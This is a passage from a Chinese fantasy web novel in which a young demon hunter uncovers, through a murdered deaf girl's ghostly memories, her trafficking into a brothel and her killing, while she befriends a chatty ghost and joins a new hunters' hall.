刚才那蜷缩在门边的女子就这么走到了她们身旁,目光深深地盯着黎追,眼里的悲伤似乎都要溢出来。
解宿却不以为然,直接朝那女子问了一句:“你认识他吗?”
可那女子依旧无动于衷地站在原地。
她忘了这女子是聋哑人,只剩一双眼睛能看。
黎追被问得一头雾水,疑惑道:“认识谁?”
女子见黎追张嘴说了话,又转身向她们看去,投来可怜巴巴的目光。
姜长泠拉了拉解宿的衣袖,又解释笑道:“她不善言辞,方才她的话是想问黎大师兄认识这府里的老妇人吗?”
解宿意识到后收回视线,傻傻地笑了下。
“当然认识,不过此事说来话长,这老妇人是我在三年某次晚上夜巡时遇到的,那天她生了重病跌跌撞撞地外出说要找孙女,刚好被我瞧见了,便带着她去医治了。”黎追道。
“据我所知这老妇人已经没有任何亲人了,实在孤苦伶仃,所以我时不时便会来买些好吃的来陪陪她。”
姜长泠若有所思地点点头,问道:“这老妇人的孙女可有什么特征相貌?说不定我们也可以帮她多多留意一下。”
黎追摇摇头,苦笑了下:“我也不曾见过这老妇人的孙女,只听说是个有些缺陷的女孩,是个聋哑人,名为张福。”
一切忽然有了眉目。
面前这女子应当十有八九就是老妇人的孙女。
可惜不知什么原因英年早逝了。
“原来如此。”姜长泠沉吟。
“时日也不早了,你们赶快回去吧,别等到宵禁了。”黎追也不想在元宵节这天把气氛渲染得如此沉重,干脆笑着赶人,“路上保重,注意安全。”
“好,明天见。”姜长泠应道。
“明天见。”黎追手里提着一壶裹得严实的元宵,就这么在两人的面前跃过了围墙。
这上门方式着实清奇,惹得姜长泠在原地多看了几眼。
42. 妥协
“长泠,你跟这黎追很熟吗?”解宿双眼弯弯,略有些调侃她的意味。
“抱歉,并不熟。”姜长泠并没有接下话茬。
解宿撞了下她的肩膀笑眯眯道:“我游荡人间多年,像他这等姿色的男子算是少见了,若是你还尚未婚配,可要好好把握住这个机会啊!”
姜长泠懵了懵,心说这姿色算少见的,那萧烬算什么?
算千载难逢吗?
不对...她怎么会这么想?
“他是我师兄,我对他没有这种想法,更不会有这种念头。”姜长泠淡定解释道。
一人一鬼独自对话着,全然忽略了眼前的女子。
女子发不出响声,只好大幅度的挥手引起她们的注意。
解宿存于人间多年,也不知见过了多少世间上的七情六欲,她笃定道:“有句话叫始于外貌,忠于人品,要我看,这黎追确实能算得上是好男儿,善心细心温柔都占了,能力也不差,若你们多有往来,你定会被他所吸引。”
姜长泠则是转头注意到那女子,决绝对解宿道:“师兄就是师兄,这么想未免也太过逾越了。”
“没想到你这人不仅是闷葫芦还是个老古董,我更喜欢了。”解宿惊喜道。
女子忽然跪在了地上叩首。
两人的话头霎时刹住,纷纷看向她。
解宿哎呀几声上前要搀扶住女子:“何必行此大礼,我也受不起啊。”
由于女子听不懂,直起身来时不断地点着自己的嘴巴和耳朵挥手。
对着姜长泠示意自己是个聋哑的。
姜长泠点点头,表示自己已经知道了。
而后,那女子再看向解宿,指了指那围墙,又指向自己的眼睛,最后指着自己。
解宿疑惑道:“这难道在说能不能让这里面的人看见她?”
为了应证这个说法,她特意再做了一遍手势表述得更加清楚。
那女子听了连忙点头。
她只好摇摇头自顾自地说:“你修为尚低,一时半会不可能做到的。”
“嘶...我该怎么和她说呢?”
女子的眼神一点点黯淡下来。
姜长泠则是在想,确有一人可以做到...
不过这不相干的事情就不要麻烦他了。
于是她从袖中掏出一张符纸,用灵力写下了两个字:张福?
递到了她面前。
女子看见这符纸上的内容愣了一会猛然地点了点头,眼中全是惊喜,手指来回指点着。
似乎是在说你们认识我?
解宿也被这行为吸引住了视线:“你们捉妖师都这么绘符都那么厉害的吗?”
“都是些小把戏罢了。”姜长泠回应着,又抽出一张符纸伸到她面前。
灵力顺着痕迹灼烧,逐渐浮现出简短两字。
死因?
张福认真地凑上去看,随后她呜咽了几声,眼泪便夺眶而出,接着指向自己的嘴巴,摇了摇头。
原来她并不是天生的哑巴,而是天生的听力缺陷导致了后来不会说话罢了。
“她居然能发出声音,证明也不算是哑巴呀,怎么不说话?”解宿回过头看姜长泠。
“有一些缺陷是天生导致的,若是她天生没听过声音又怎么会怎知如何发声?”姜长泠反问道。
“你说的问题我竟没认真思考过,确实是我考虑不周了。”解宿双掌合起对张福点了点头以表歉意。
可张福并看不懂她们的行为,眼睫还挂着泪珠就这么茫然盯着她们。
姜长泠叹了口气:“这要怎么帮她才好。”
天下的冤魂如此之多,死因不尽其数,总不能每只鬼都来找她帮忙吧。
她并非圣贤,她费劲心思让赃款惠及百姓也只是因这件事是由她起的,自然也应当由她结尾。
又因之前欠过长孙归璟一个人情,替他解开执念后顺带揭发了潘秉坤和钱恒亮的阴谋。
后来的事情也都是她在为她的莽撞而负责。
其实萧烬说的对。
世间枭雄不尽其数,又何时轮到她出风头?
她只是个势单力薄的捉妖师,本就不该逞强想要独自破开这潘秉坤和钱恒亮精心设计多年的阴谋。
见到城中遍地尸首,百姓流离失所,伤亡无数,她才了解到什么叫不自量力。
这是她就算变成青竹城恢复祥和中的一枚不起眼的棋子也无法赎过的罪。
如果让她有一次重新选择的机会,恐怕…
“她与你非亲非故,你大可不用管她。”解宿像是思忖到什么,轻松地笑着站起了身,“一会宵禁要到了,你再不回去就要自身难保了。”
姜长泠倒不是不认同她的话,只是又抛出了一个疑问:“一个游荡在人间的鬼魂,突然有天发现有个人能看见自己会是什么感觉?”
解宿想了想道:“兴奋激动,想与她畅谈今宵。”
“所以就算我不帮她,她也会一直跟着我的。”姜长泠道。
“嗯?这有何难?那便收了她,打她个魂飞魄散。”解宿又道。
一时姜长泠对这厉鬼的认知有些模糊,这厉鬼到底是好是坏?
说是好,却又体贴帮别人送上贺词,说坏吧,现在又说要打人家个魂飞魄散。
张福看不懂她们打得什么算盘,只能跪在地上用手指不断地在地上画着什么。
姜长泠秉着良知还是耐着性子看了看。
她那苍白的指尖在雪地上不留痕迹地缓慢挪动着。
尽管她写得很费劲,但姜长泠还是看出了那是什么字。
妖。
什么妖?
单凭一个妖字便可以惹人联想到许多事情。
张福抬头看了看她,又低头写下一个字。
抓。
妖抓?
这是想表达什么?
她有些无从考究。
抓妖,莫非又与妖都有关?
想到这里,姜长泠不免感觉自己头疼欲裂,她的死因又跟抓妖的有什么关系?
“妖抓?什么意思?”解宿皱起眉头。
张福见两脸无措,又只好焦急地向姜长泠递上手。
月明风清,那双充斥着悲伤的眼睛蓄着泪水就这么盯着她。
坦露着希望和小心翼翼。
她不会说话,不像长孙归璟还能跟她解释个一二。
但姜长泠还是能看穿她的意图。
无非是想通过生前的记忆告诉她发生了什么。
姜长泠深深地吸了口气,又吐出来,仿佛有什么难言之隐。
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解宿歪着头看她,好奇问道:“怎么?你下不了手吗?”
“并非如此。”姜长泠忍下了转头就走的念头,还是抬起手向张福的手探去。
一瞬间,吞天的黑暗将她笼罩,视线再次恢复光明时,是她坐在床沿之上,两边皆是粉色的帐纱,一片旖旎之色。
目光垂下,可发现张福的双手双脚被麻绳紧紧捆住,正挣扎着。
张福扭动着身体,似想要突破这层束缚。
不等多久,一个婀娜多姿的中年的女人笑得花枝乱颤推门而入,连带着一名中年男人。
两人正在攀谈着什么。
可张福完全听不见。
只见那女人朝她看了几眼,说了些什么接着便关上门退下了。
那男人油头肥耳,目光直勾勾地像一道灼热的光线将她浑身上下烫出一个个密密麻麻的洞。
心跳正扑通扑通地急速上升。
不安的预感遍布全身,饶是局外人的姜长泠都觉得一阵恶寒。
果然不出她所料,那男子开始解衣宽带一脸色眯眯地朝她走来。
再后便是那恶心粗糙的气息混乱地萦绕在张福脖颈间。
姜长泠胃里顿时一阵排山倒海。
一个女子的清白被辱没的体验,她还不想体会。
事后,张福泪眼朦胧地躺着。
虽然过程中她半阖半睁,姜长泠也隐隐约约知道这恶心的男子不仅是满足自己的欲望,还夹杂一些凌虐。
她不知张福的生前竟然经历过这么惨无人道的对待。
画面一转,眼前的画面又变成另一幅景象。
灯烛辉煌映照着满楼,酒香混杂脂粉味飘逸。
一看便是风尘之地。
门口,几对几对的伊人正在流连,搭肩搂腰。
张福的肩膀上此刻也多着一只手搭着她的肩,身旁还有名男子陪伴。
她的视线忽然转向身旁的男子,不再是刚才那油头肥耳的男人,而是另外一人。
这人相较于上一个男人,这男子倒是年轻得多。
望向她时的眼神也明显不同。
察觉到张福的异样,男子下意识问了一句话。
姜长泠判断出口型,那应当是说了一句:“怎么了?”
张福貌似也听懂了,举起了自己带着镣铐的手。
心跳不停。
这男子给她的感觉不一般。
那男子眨巴眨巴眼睛,先是宠溺地笑笑捏了一把她的脸蛋,又从腰间掏出了一把钥匙,歪着头朝他晃了晃。
这行为就像是说:“你是想要这个吗?”
张福点头如捣蒜。
而男子却用手指指了指自己的脸庞示意着什么。
张福犹豫了下,随后踮脚吻了上去。
这轻轻一吻让男子兴致大发,笑意更盛,连忙拿起钥匙三两下解开了张福的镣铐。
手腕处是被勒久了的红痕,张福尝试着活动手腕,嘴角也泛起笑意。
接着她的视线飘忽不定,转来转去最后看向了这风尘之地的大门。
她想逃。
不料那男子似是看穿她的意图,一把揪住了她的头强迫她扭过头来。
面前的男子,是与方才宠溺神色不同的暴戾怒色。
43. 抚慰
这男子说的话太快,以至于姜长泠分辨不出他说了什么,但见这怒色,约莫是在说为什么想逃之类的话。
仅仅是一息之间,一巴掌便落在了张福脸上,她措不及防地摔倒在地。
张福不敢去看他,只能是惊慌地环顾着周围,发现这周围所有人的目光都朝她看了过来,讥讽的,凉薄的,嫌弃的眼神如同烙印一般刻在了她身上。
巴掌还在不断落下,她哭咽着抬起手躲避,周遭却无一人帮她。
这种绝境之下,姜长泠很难想到张福是如何脱身的?
混乱的画面再次消失,取而代之的是一张陌生男人俯视的脸,狰狞又凶狠,双手正横在她的脖颈之间。
这是姜长泠在她记忆中看到的第三个男人。
张福被掐得几近窒息,可面前这个男人却不知在想什么,猛然松开了手离开了床榻。
她好不容易得以喘息的机会,正大口大口呼吸着。
可下一瞬,阴影笼罩而来。
那男人又折返了回来,手里竟多拿了一把簪子。
只见他赤果着上身,得意一笑,径直将簪子刺进了张福的脖颈处。
血液霎时喷溅而出!
甚至溅射到了那男人的脸上。
可那男人却丝毫不为所动,脸上只写着痛快二字。
最后,猩红的温血染红了她的视线。
她短短的一生就这么结束了。
鬼能传递的记忆有限,只能记载几个痛苦的感受瞬间。
姜长泠也大概了解了事情的经过,但是原委和幕后之人便丝毫没有头绪了。
从头到尾,她也不曾见到什么与妖有关的事,这又与妖有何干系?
意识回笼后,她终于久违地听见了声音。
“你这是在做什么?”解宿问她。
她的神识在张福的记忆看了许久,但在外人看来也只是一刹那的事情。
她放下手,眼神有些复杂:“在了解她的生前。”
“这又是什么神奇的道法?你也能看我的生前吗?”解宿满是好奇。
“这记忆是她传递给我的,若你自己都不记得了,我也没办法看到。”姜长泠道。
解宿只好失落地点点头,又问道:“那你方才看到了什么?”
姜长泠将方才看到的都转述了一遍,仍然是没有头绪。
毕竟淮庆城本就是她从没来到过的领域。
闻言,解宿并没有过多惊讶,只是淡淡应和了点头,问道:“那你打算怎么办?”
据张福的记忆来看,她应当是被拐走去了一处风尘之地,最后是死于客人之手。
虽不知为什么客人要杀她,但可怕的是这里的客人竟不把人命当一回事,而且杀了人连眼睛都不眨一下。
若说是在民间的普通青楼剽客,也不太寻常合理了些。
况且那风尘之地还不是一般的大,并非只一栋楼,而是几楼一院,外出还需要带镣铐。
这一看就知有不对劲。
可这不对劲的原因要从何追寻?
姜长泠没有说话陷入了沉思,她隐约感知到这件事情并没有如此简单。
“你大可以将你的顾虑告诉我,比方说,你是怕化解她的执念很棘手呢,还是说你根本不想管呢?”解宿还游离在状态之外,混然没有难堪的意思。
“莫非你有解法?”姜长泠问道。
“我在人间游荡多年,什么没见过?只不过我也不太确定那是不是为线索罢了。”解宿得意道。
姜长泠示意她:“说说。”
解宿抱起手臂,掠了跪着的张福一眼,随后道:“淮庆城不是有宵禁么?我亲眼见过在宵禁时段有,有名女子被两三个黑衣蒙面的人劫走了,不过去哪我便不知道了,毕竟我也试过跟上他们,但最终都是被一层屏障给拦了下来。”
听到这里,姜长泠不禁背后一凉,凝重问道:“什么屏障?”
“当然是防鬼的。”解宿道。
不好,这做法为何如此熟悉?难道钱恒亮是还没有死透?
层层恐惧不知不觉渗透入她心头。
她迷茫了。
“怎么了?”解宿见她顿时变了脸色。
“没什么,只不过我想通了,这事我做不到。”姜长泠别过脸避开了张福的视线,没有半点犹豫坚决地走开了,“快到宵禁时辰了,我先走了。”
姜长泠走得决绝,只留下解宿对着张福尴尬一笑,见状她只好对着张福挥了挥手连忙跟了上去。
最后剩下张福一鬼在原地凌乱。
幸运的是她并没有跟上来,只是独自抹着眼泪。
“你怎么变脸比翻书还快啊?”解宿笑着问她。
“只不过这件事对我来说实在是有心无力了。”姜长泠解释道。
街道上的小摊贩已经撤离得七七八八,逐渐变得冷清下来。
“人都是有私欲的嘛,我都懂,她本就与你非亲非故的,你为何要帮她呢?”解宿自顾自道。
姜长泠不想再反驳她,只好附和道:“你说的有道理。”
青竹城的惨况她是亲眼目睹的,她不想再活在担惊受怕之中了。
万一这次她又触碰到谁的逆鳞,搞不好死一大片人后也没能将祸患清除。
她不想再给任何人添麻烦了。
“话说你要跟着我到什么时候?”姜长泠问道。
“反正我也无处可去,不如一直跟你好了,反正在这个世间上也只有你认识我了。”解宿笑得明媚。
姜长泠不禁揉了揉太阳穴,总感觉解宿自己才是最应该被化解执念的。
“你家在哪?”
“跟着我走就行了。”姜长泠回答之时突然想起来一件很不解的事,“话说,刚开始为何你会易容成我的脸?”
“当然是因为你长的漂亮。”解宿讲这话时莫名有些没心没肺,“我已经不记得自己长什么模样了,见到谁好看我便易容成谁的模样。
“...多谢。”
“毕竟,你也算是世间上不多见的漂亮姑娘。”
路上,解宿总是跟她有一搭没一搭的聊着,姜长泠对此的反应便只是淡漠。
回到雀云院,院中一片祥和,只剩下几盏灯笼在发着亮光。
而其他几户捉妖师都很默契地都熄了灯。
正当她绕过院中的小路,要走到自己房屋门前的时,一抹熟悉的身影正站在她的门口。
姜长泠精神上的弦又绷紧了起来。
“你怎么
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来了?”姜长泠问道。
“因为你好像碰上了个甩不掉的麻烦。”萧烬侧头道。
解宿下意识地以为是在说自己,可眼前男子的视线却是透过了她们看向了身后。
一人一鬼顺着他的目光看去,果真看到张福就这么低着头默默地跟在她们后面。
张福见到两人一鬼齐刷刷地看向她,吓得连连后退了几步。
“这样的小鬼未免也太过碍眼,还不如趁早送入轮回超度。”萧烬轻声道。
“且慢...”姜长泠回过头来看向他,“我会帮她。”
萧烬有些费解,问道:“你不是说不知道如何去帮吗?”
解宿也转过身来看向萧烬,又看向了身旁的姜长泠。
嘶,敢情她们刚才的对话都被眼前这个男子给听完了?
“我...我会尽我所能的。”姜长泠说话的声音忽然低落了下来。
这副垂头丧气的模样,萧烬在姜长泠脸上见到的不多。
毕竟她在他眼里就像是个风光无限的慈善家,遇到什么事情都能积极应对。
他见这副模样觉得有趣,便问道:“说说原因。”
“什么原因?”
“自然是不敢帮她的原因。”
姜长泠不愿坦白太多,只好道:“...思及你的生命安危,我还是不要再去逞能了。”
不知为何,倘若这句话是放在从前,他听了会倍感欣慰,但现如今,他听到这番话却高兴不起来,甚至...还有些不愉。
并不是因为姜长泠说的话有阿谀的意味。
因为什么...他自己也不知道。
“你老实说。”萧烬瞥了一眼在旁边看着的解宿,一阵莫名的威压便把她扼制住推往远处的墙边,甚至连带着张福。
两鬼贴在墙上两两对望,眼里只剩下茫然。
姜长泠看着远离他们的两只鬼后低下头吸了一口气:“此事我看牵涉众多人,想来也并非是我一人能破解。”
沉默了一会,她接着道:“在青竹城发生的这一桩桩事,于我而言都是我不能承受之重,是我的过错。”
自从她来到淮庆城后,在青竹城中的记忆就像是秤砣压着她喘不过来气。
可人死不能复生,做过的事情也没有反悔的道理。
她没听到回应,紧绷着的身体还是没松懈下来:“抱歉,我说太多了,你权当无病呻吟好了。”
“你指的是城中死了的那些妖和人?”萧烬平静问道。
“嗯。”姜长泠缓缓点头。
“可斗争本就要牺牲。”萧烬耐心道,“你只是一名捉妖师,能揭开妖都的阴谋已经是无比艰巨。”
姜长泠渐渐抬起头。
“一个只有你知道的阴谋,那么这个险局也注定只有你能解开。”萧烬忽而笑了,“不如换个角度想想,你救了多少人妖鬼。”
姜长泠依旧无法释怀,摇了摇头。
她脑海中全是青竹城中血流成河的模样,无论人还是妖,最后都落下个死的下场。
她救了谁,她亦不知。
“你救的人和妖都在以后,你当然见不到。”萧烬道,“这个阴谋一旦被掀翻,以后就不会有人和妖因为这件事而受到伤害了。”
44. 恶意
“这么简单的道理还想不通?”
天上墨云翻涌,夜间寒雾缭绕,月光倾洒尽数藏进萧烬眼眸,不禁让姜长泠生出一种多情的错觉。
她皱着的眉头也一点点松开。
“所以你认为我做的是对的吗?”
萧烬沉默了一会,接着道:“在我看来,你做的这些都与我无关,我便不予置评。”
听到他说的这句话,姜长泠内心中刚泯灭的愧疚更加疯狂生长。
这句话不就是坐实了他只是因为安慰自己才说的话吗?
姜长泠压下酸涩,点点头道:“我明白了。”
萧烬见她依旧闷闷不乐的模样,一时没反应出来她到底是哪里不高兴了,又问道:“那两只鬼呢?”
“由她们吧,我...不再干预她们的事情了。”姜长泠朝她们的方向看了一眼,依旧是情绪低迷的模样。
“天色不早了,你快回客栈歇息吧。”姜长泠收回视线正准备从门口走去,却被萧烬挪步挡住了去路。
“怎么了?”姜长泠停下脚步看他。
“你...”萧烬凝视着她却半天没说出来个下文。
其实他想问的是为什么她不开心,但他又想了想自己为何要问她这个问题。
莫名其妙的。
“你...你也早些歇息,我先走了。”萧烬仓促说下一句,又让开了身位径直离开了此处。
姜长泠顺势看了一眼他的背影便也推开了门进屋内。
刚燃起灯火,那头的解宿和张福又屁颠屁颠地跟了她过来。
“长泠,刚才那人是谁啊?”解宿被扼制在墙上都不见生气,反而是一脸八卦。
“他。”姜长泠顿了顿,“他是我认识的一个朋友,是从魔界来的贵府公子。”
“啊?魔界来的,那岂不是多多少少有些邪恶,他修为还如此之高,能操纵意念,说不定是人面兽心,你可千万别被魔族的人给骗了啊。”解宿一拍大腿,颇有些恨铁不成钢。
姜长泠摇摇头,并没有坦露出禁咒一事,干巴巴道:“他不是那样的人,魔界来的自然也是有好坏之分的。”
解宿还是觉得姜长泠单纯,苦口婆心劝道:“你可知魔族之人最擅长蛊弄人心么?他一上来就要送张福超度轮回,将我们都扼制住在墙边,这手法如此利落熟练,也不知这私底下做过多少次这种事情了。”
对此姜长泠只能简短解释道:“一个真正狠厉的人是不会做这种没有意义的事情的。”
解宿哑然一瞬,又问道:“她就不能是接近你贪色吗?”
姜长泠盯着她,摇摇头道:“有些事有难言之隐,总之他是个好人。”
“嗯...”解宿挠挠头,又问道:“莫非这就是你不选黎追的原因?”
姜长泠不想再听解宿多言,叹气道:“不要再问我这个问题了,我已经回答过了。”
“哎呀,我就是太久没跟活人讲话了难免有些兴奋嘛。”解宿笑着去摇了摇她的手臂,“你不喜欢听的话我不问便是了。”
解宿又看向窝在一边角落的张福问道:“那张福你打算怎么处置?”
“不干涉不干预,由她吧。”姜长泠无奈抿了抿唇,继而看向她,“先不问她,今晚你要呆在何处?”
解宿咧嘴一笑:“当然是在你家里啦。”
姜长泠:...
我能画点驱鬼符贴在屋里吗?
*
翌日,城中还灰蒙蒙一片时,捉妖师们便已经陆陆续续赶到了清阙堂。
而姜长泠和解宿亦夹杂在这浩浩荡荡百来号人之间。
“哇,你们这妖都就是气派啊,这里面居然那么大,人还这么多。”解宿一飘一飘地跟在姜长泠身旁。
解宿自说自话了一路,姜长泠愣是没接下一句话,她不禁飘到姜长泠面前问她:“我发现你出了门便不爱说话,这是怎么了?”
但姜长泠却像是听不见她说的话一般,还在径直地往前上着阶梯。
“你是不是生气了?还在为昨晚的事情生气吗?”
姜长泠微微摇头无声叹了口气。
她只是不想冒然说话被周围的人当成脑子有问题的人。
解宿见她的表情似乎又读懂了什么,讪讪笑了一声:“对哦,我忘了现在别人都看不见我。”
“抱歉。”
随着这声落下,姜长泠的身边蓦地蹿上前一名女子,还狠狠地撞了下她的肩膀。
这百阶梯每步的间隙本就长宽,即便是大家都挤在一个时段要上清阙堂也不至于到摩肩擦踵的地步。
姜长泠踉跄一步,只是抬头掠了那人的背影一眼并没有过多追究下去。
谁知,那女子撞了她窜上去后,在她身后便传出一阵娇笑声。
周边的人或多或少都朝向笑声的源头看去,姜长泠也不例外。
只见她身后跟着落后了好几步的阮诗情,而身边还有几个女子在哄笑。
阮诗情看见姜长泠瞥来的视线时,连忙对着旁边的人“嘘。”了一声,嘴角是藏不住的笑意。
姜长泠隐约觉得方才的撞肩不是巧合,但也没有过多再去思量此事,转过身便继续往前走去。
“后面那笑得奸诈的女子,我怎么就觉得她就是故意找人撞你的呢?”解宿愤愤不平地盯着后面的阮诗情。
而阮诗情看着姜长泠的背影和身边的人附耳说了几句,接着又拍了拍身边的女子示意她往前走去。
狡猾和幸灾乐祸都写在了脸上。
“果然是故意的。”解宿眯眯眼。
闻言,姜长泠停下脚步忽然侧身向后看去,那冲上来正高兴的女子脸色徒然一变顺带被什么东西绊了一下当即扑倒在阶梯上。
这一跤摔得太狠,那女子霎时尖叫出声,引得众人围观。
姜长泠有些无措,连忙蹲下想要扶起这名女子:“你还好吗?”
女子对她的问话视若无睹,更是把她的手一把推开,自己捂着流血的鼻子站了起身往回走去。
“哈哈哈,大快人心。”解宿看着那吃瘪的背影不禁笑出声。
这场闹剧终于结束,姜长泠也跟着人流走到了清阙堂门前。
昨天黎追与她讲了许多关于清阙
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堂的规矩,与转芒堂的规矩多少都有些出入。
譬如在转芒堂时,朝会都是三日一次的,但在清阙堂则不会固定时日去安排开朝会,通常都是为主办大人传达指令才会开的朝会。
她看着所有跨过门槛的捉妖师都往一旁的方向释放了一点灵力,随后才向前走去。
这流程她也听黎追讲过,是名为“签灯”。
意思是在门口的两边壁柜上会摆放写着自己姓名的夜明珠,而当自己到达清阙堂时便需用灵力点亮自己名字的那颗夜明珠。
那样是利于史部的人去统计到场人数的。
当时姜长泠便问道:“若是有些人将其他人的夜明珠也点亮了呢?”
黎追则是笑着说:“没关系,史部的人会在进门时盯着,而且还会在现场再清点一遍人数。”
姜长泠也跨过门槛,向两边找着自己名字的那颗夜明珠的位置。
史部的人见她停留下来,便问了一句:“你新来的是吧?”
她点点头。
“新来的灯放在最下面,看到了吗?”那人指着整排整列的夜明珠的最后一格。
“多谢。”姜长泠抬手向那颗夜明珠注入了一丝灵力,眼看着它从一颗晦暗的球发出了亮光。
签完灯后姜长泠继续往前走去,又想起来黎追对她说的话。
低中高阶的捉妖师在朝会的占位分布也有所不同,一般都是由高阶捉妖师站在前面,再后便是中阶,最后是低阶。
于是她从这清一色的几近纯白的衣裳的背影找了个缝隙钻了进去,找到了与她衣裳颜色一样的阵营。
而孟绝早早就坐在了高堂之上,正俯瞰着众人。
不知过了多久,大门没有再进人,在门口站着的男子便对着堂内大喊:“禀主办大人,人已经到齐了!”
孟绝点点头,清了清嗓子缓缓开口:“诸位,明天则是半年为一期的考核,照常分上午与下午的两个批次考核,考核的人数都已经排好了,一会程厉折会将名册告示贴出,大家自己去看。”
“除这件事外,我们清阙堂还从转芒堂迎来了一位新的捉妖师,大家都认识一下吧。”
孟绝俯视众人,在人群中找到姜长泠,对她挥了挥手示意她站出来。
姜长泠会意,从人群中走到了人群面前。
巧的是黎追就站在最前面一排。
“我名为姜长泠,初来乍到清阙堂,若有做的不对之处还望大家多多海涵。”姜长泠对着大家行了一礼。
“嗯,既是初次见面,为了大家方便联络,长泠你走下去与大家互汇下灵流罢。”孟绝道。
听及此处,姜长泠不免有些拘束,不过还是走上去与站在前排的两个大师姐伸出了手。
短暂交换过名字握过手后,姜长泠便蹿到了后面去,又在中阶捉妖师中挑了几人互汇灵流。
最后她将目光放在低阶捉妖师的人群中。
她依稀记得方才跟在阮诗情身边的人是穿着纯白衣裳的女子。
解宿眼看着姜长泠走到那名女子的面前,坏笑道:“长泠,你这是要报复她?”
45. 巧合
面前这女子的衣袖上还沾着血迹,眼神正锐利地盯着她。
姜长泠本还想着这女子或许是别的缘由意外摔倒的,但现在从她的眼神看来,似乎是真的对她有些偏见。
她分明才在清阙堂第一天,什么时候引来的仇恨?
“你不会还想跟她当朋友吧?”解宿见她一脸平静,不像是要质问的模样。
结果姜长泠忽略过她的眼神,伸手向旁边站的师妹握手去了。
她随缘挑了两三个师弟师妹交汇灵流后,恰巧孟绝要交代的事情也交代完了,直接吩咐了原地解散。
乌泱泱一片的人群便往外涌动着。
姜长泠也准备顺着人潮出去,却忽而感受到有人轻拍了下她的肩头:“姜师妹,且慢。”
黎追从她身后绕到她身旁。
“又是他啊。”解宿抱着看热闹的心态在另一侧默默跟着。
“昨夜你经过那户人家之时,可曾有见过什么人驻足停留过那个地方?”黎追问道。
姜长泠想了想,那地方一晚上都不见有什么其他人经过,只能道:“并没有,怎么了?”
黎追刚升起来的希望却又一下被泯灭了下去,他失落道:“昨晚我推开钟婆家大门的时候就发现掉落了一张纸,上面写的是一句祝词,开头便是一句故人来之,我还以为她孙女回来了呢。”
人潮退散,窝在角落里的张福又缓缓朝这边走来,无言地看着黎追。
姜长泠不禁心想:怎么感觉张福跟黎追认识?
不仅如此,张福还注意到了黎追腰间的锦囊,似乎想伸手去抓,可惜扑了个空。
一瞬间,她的泪水便如雨下。
姜长泠察觉到其中有些隐情,又好奇问道:“话说这钟婆的孙女黎大师兄真的不认识?”
“当然了,我与她一面都不曾见过,谈何认识。”黎追笑着,又发现姜长泠一直盯着他腰间挂着的锦囊,伸手毫不避讳地摸了摸它,解释道:“这个锦囊是我妹妹在小时候送我的。”
“原来如此。”姜长泠应和了一句,又看向了哭得稀里哗啦的张福。
她倒是没弄懂,张福是因何而哭?
莫非是因为这个锦囊勾起了她的思乡之情?
姜长泠也没有八卦别人家事的打算,谈话只好就此作罢。
“走吧,出去我带你熟悉一遍淮庆城的街道。”黎追眼中的忧愁转瞬即逝,抬步便向走去。
“好。”姜长泠应了声也跟了上去。
“诶,长泠,你就不再好奇一下这黎追和张福的关系?”解宿总觉得这其中有些蹊跷。
刚踏出门槛,一缕缕金光便向下铺洒而来。
姜长泠当然也知道到有不对劲的地方,但她怎好意思唐突地上前去问他妹妹的事情。
这多少是有些逾越了。
于是在他们一前一后走下百阶梯越过妖都二处的牌匾后,解宿便找了个没人的时机迫不及待地化为了人形出现了姜长泠身边。
“长泠,黎追,怎么在这里也能遇见你们?这么巧?”解宿装作从不远处走来,自然而然地去挽住姜长泠的手。
黎追闻声向后看来,见到解宿时还有些惊讶:“解宿姑娘,你怎么也在此处?”
“都是路过罢了。”解宿摆摆手,又看向他那娇嫩的锦囊,“黎追大捉妖师,没想到你堂堂一个八尺男儿竟带些女儿家的玩意啊?”
听到这句话姜长泠心里一惊,差点忍不住上手把解宿的嘴给捂上。
可黎追貌似没有任何愠怒之意,反倒是温和解释道:“我看解宿姑娘是对我的锦囊有些误会,这是我妹妹送我的。”
“你妹妹?妹妹送的锦囊为何要随身带在身上,你可知这样可是很容易被人误解成你是有妇之夫的。”解宿的语气中不免夹杂了些许阴阳怪气。
这会要是换作一个小心眼的估计已经急眼了,但偏偏黎追是个好脾气的。
他没有生气,只是嘴角挂着的笑容有些苦涩:“我妹妹在我七岁那年便与我走散了,如今下落不明生死未卜,这个锦囊...也算是她留给我最后的念想了。”
解宿原只是想以开玩笑的方式去套黎追的话,不曾想这锦囊背后的故事竟然如此沉重。
她逐渐收起损人的表情,默默道:“抱歉啊,我不知道你妹妹...居然经历了这些事情。”
“没事,要不是你们提起来,我都不知道把这事跟谁说呢。”黎追倒是乐观,想必也是因为此事过了已久,逐渐能放下了。
“那你妹妹,可也是和那钟婆的孙女一样,是个聋哑之人?”姜长泠问道。
黎追眼里略过惊诧,笑道:“姜师妹果真冰雪聪明,不过...我时常觉得世上并无如此巧合之事。”
“黎大师兄所指的巧合之事是?”
其实姜长泠这句话的言外之意便是想问这钟婆的孙女会不会和他的妹妹是同一人?
“她...”黎追抿了抿唇随后又绽开笑容,“她当然只会是钟婆的孙女。”
阵阵寒风忽然拂面而来,似是吹进了黎追的心里。
“倘若,她们就是一个人呢?”
呼啸的声音萦绕在耳边,贴在脸上的风都像是万年冰川散发的体温。
庆幸的是他们为修道之人,体质要比常人更能御寒。
黎追被吹得衣袍翻飞,只当她说的是安慰的话,微笑道:“倘若是一个人又能如何?都一样下落不明,该伤悲的还是会伤悲。”
姜长泠望向他,眼眸倒映着的是淡淡的忧愁。
她终于明白了为什么黎追对她当时那胡扯的说法感兴趣了。
托梦。
于他而言是很珍贵的再见机会吧。
听到这里,解宿都快忍不住要把张福跟了他们一路的事情告诉黎追了。
“其实!”解宿大声喊了一句,惹得两人都纷纷转头看向她。
她当即向姜长泠抛去了一个眼神,结果姜长泠轻轻晃了晃头示意她不要说。
“其实什么?”黎追好奇问道。
“其实她是想问你最近城中可否有发生过什么关于拐人的事情。”姜长泠立马接上了话头。
“对对对,这样比较方便了解钟婆孙女的行踪。”解宿也附和道。
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说着说着三人便踏入了欢闹的市井小街。
“当然有。”黎追捋了捋自己的衣袍,“淮庆城中的宵禁便是为了防范此类事情发生,不过也总耐不住自己不要命的在宵禁时段出去的。”
“最后的结果你们也可想而知了。”黎追嗟叹一声。
姜长泠倒是对此上有些困惑:“可有抓到过元凶?”
周边嘈杂的人声不绝于耳,可黎追的声音还是尤为突出:“当然抓到过,不过是收效甚微罢了,所以妖都每晚都会派人值更夜巡。”
“原来如此。”姜长泠若有所思回答,视线不自主飘忽到张福的身上。
又再而联想起张福中记忆中那一幕幕不堪的画面。
若真的是如此,那张福所在的那处风尘之地也不知被镣铐困住了多少无辜的姑娘?
